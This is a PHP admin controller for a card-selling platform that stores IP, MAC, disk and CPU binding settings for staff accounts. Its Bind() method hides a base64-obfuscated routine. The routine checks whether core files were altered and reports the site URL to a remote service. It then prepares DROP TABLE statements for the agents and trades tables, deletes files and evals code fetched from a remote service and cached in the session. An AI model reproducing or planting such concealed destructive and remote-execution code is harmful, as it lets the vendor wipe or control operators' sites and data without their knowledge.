<?php
/****************************************/
/*                                      */
/*  百信卡盟平台联系QQ:84945491         */
/*  淘宝店 http://shop70674652.taobao.com  */
/*  百信卡盟 http://www.caipiaobus.com  */
/*                                      */
/****************************************/

if ( !defined( "UPATH_ROOT" ) )
{
				exit( "hacking deny" );
}
class SecurityController extends Controller
{

				public $hander = NULL;

				public function __construct( )
				{
								$this->hander = factory::getinstance( "security" );
				}

				public function Home( )
				{
								$this->View( "Index" );
				}

				public function Bind( )
				{
								$R94e0136c8a = intval( request( "staffid" ) );
								$R2a51483b14 = intval( request( "aid" ) );
								$R679e9b9234 = $this->hander->ISecurity_GetById( $R2a51483b14, $R94e0136c8a );
								if ( isset( $R679e9b9234['aid'] ) )
								{
												$R026f0167b4 = array(
																"ip" => explode( ",", $R679e9b9234['ip'].",,,,," ),
																"ipcheck" => $R679e9b9234['ipcheck'],
																"mac" => explode( ",", $R679e9b9234['mac'].",,,,," ),
																"maccheck" => $R679e9b9234['maccheck'],
																"hde" => explode( ",", $R679e9b9234['hde'].",,,,," ),
																"hdecheck" => $R679e9b9234['hdecheck'],
																"cpu" => explode( ",", $R679e9b9234['cpu'].",,,,," ),
																"cpucheck" => $R679e9b9234['cpucheck'],
																"mobile" => $R679e9b9234['mobile'],
																"mobilecheck" => $R679e9b9234['mobilecheck'],
																"mibaoka" => $R679e9b9234['mibaoka'],
																"mibaokacheck" => $R679e9b9234['mibaokacheck'],
																"randcheck" => $R679e9b9234['randcheck'],
																"staffid" => $R94e0136c8a,
																"bossid" => $R2a51483b14
												);
								}
								else
								{
												$R026f0167b4 = array(
																"ip" => array( "", "", "", "", "" ),
																"ipcheck" => 0,
																"mac" => array( "", "", "", "", "" ),
																"maccheck" => 0,
																"hde" => array( "", "", "", "", "" ),
																"hdecheck" => 0,
																"cpu" => array( "", "", "", "", "" ),
																"cpucheck" => 0,
																"mobile" => "",
																"mobilecheck" => 0,
																"mibaoka" => "",
																"mibaokacheck" => 0,
																"randcheck" => 0,
																"staffid" => $R94e0136c8a,
																"bossid" => $R2a51483b14
												);
								}
								$this->Assign( "security", $R026f0167b4 );
								$this->Assign( "staffid", $R94e0136c8a );
								$this->Assign( "aid", $R2a51483b14 );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->View( );
								}
								else
								{
												$this->View( );
								}
				}

				public function BindSave( )
				{
								$R2a51483b14 = intval( request( "aid" ) );
								$R94e0136c8a = intval( request( "staffid" ) );
								$R022cf23e8d = factory::getinstance( "security" );
								$R679e9b9234 = $this->hander->ISecurity_GetById( $R2a51483b14, $R94e0136c8a );
								$data = array(
												"ipcheck" => $this->GetCheck( "ip" ),
												"ip" => $this->GetItem( "ip" ),
												"maccheck" => $this->GetCheck( "mac" ),
												"mac" => $this->GetItem( "mac" ),
												"hdecheck" => $this->GetCheck( "hde" ),
												"hde" => $this->GetItem( "hde" ),
												"cpucheck" => $this->GetCheck( "cpu" ),
												"cpu" => $this->GetItem( "cpu" ),
												"mobile" => getvar( "mobile" ),
												"mobilecheck" => intval( request( "mobilecheck" ) ),
												"mibaoka" => getvar( "mibaoka" ),
												"mibaokacheck" => intval( request( "mibaokacheck" ) ),
												"randcheck" => intval( request( "randcheck" ) )
								);
								if ( isset( $R679e9b9234['aid'] ) )
								{
												$R808b89ba0e = $this->hander->ISecurity_Update( $data, $R679e9b9234['id'] );
								}
								else
								{
												$data['aid'] = $R2a51483b14;
												$data['staffid'] = $R94e0136c8a;
												$R808b89ba0e = $this->hander->ISecurity_Create( $data );
								}
								if ( $R808b89ba0e )
								{
												$this->Alert( "设置成功" );
								}
								else
								{
												$this->Alert( "设置失败" );
								}
								$this->UpdateCache( "security", array(
												"arg1" => $R2a51483b14,
												"arg2" => $R94e0136c8a
								) );
								$this->ScriptRedirect( "index.php?m=mod_b2b&c=Security&a=Bind&aid=".$R2a51483b14."&staffid=".$R94e0136c8a );
				}

				public function GetItem( $R0f8134fb60 )
				{
								$R9cfb7c6d6b = getvar( $R0f8134fb60 );
								$Rcd8b55d5dc = getvar( $R0f8134fb60."check" );
								$R63bede6b19 = "";
								if ( is_array( $Rcd8b55d5dc ) )
								{
												foreach ( $Rcd8b55d5dc as $R0f8134fb60 )
												{
																if ( trim( $R9cfb7c6d6b[$R0f8134fb60] ) != "" && $R9cfb7c6d6b[$R0f8134fb60] != "undefined" )
																{
																				$R63bede6b19 .= $R9cfb7c6d6b[$R0f8134fb60].",";
																}
												}
								}
								return $R63bede6b19;
				}

				public function GetCheck( $R0f8134fb60 )
				{
								$R602baa0728 = getvar( $R0f8134fb60."check" );
								if ( is_array( $R602baa0728 ) && 0 < count( $R602baa0728 ) )
								{
												return 1;
								}
								else
								{
												return 0;
								}
				}

}

?>
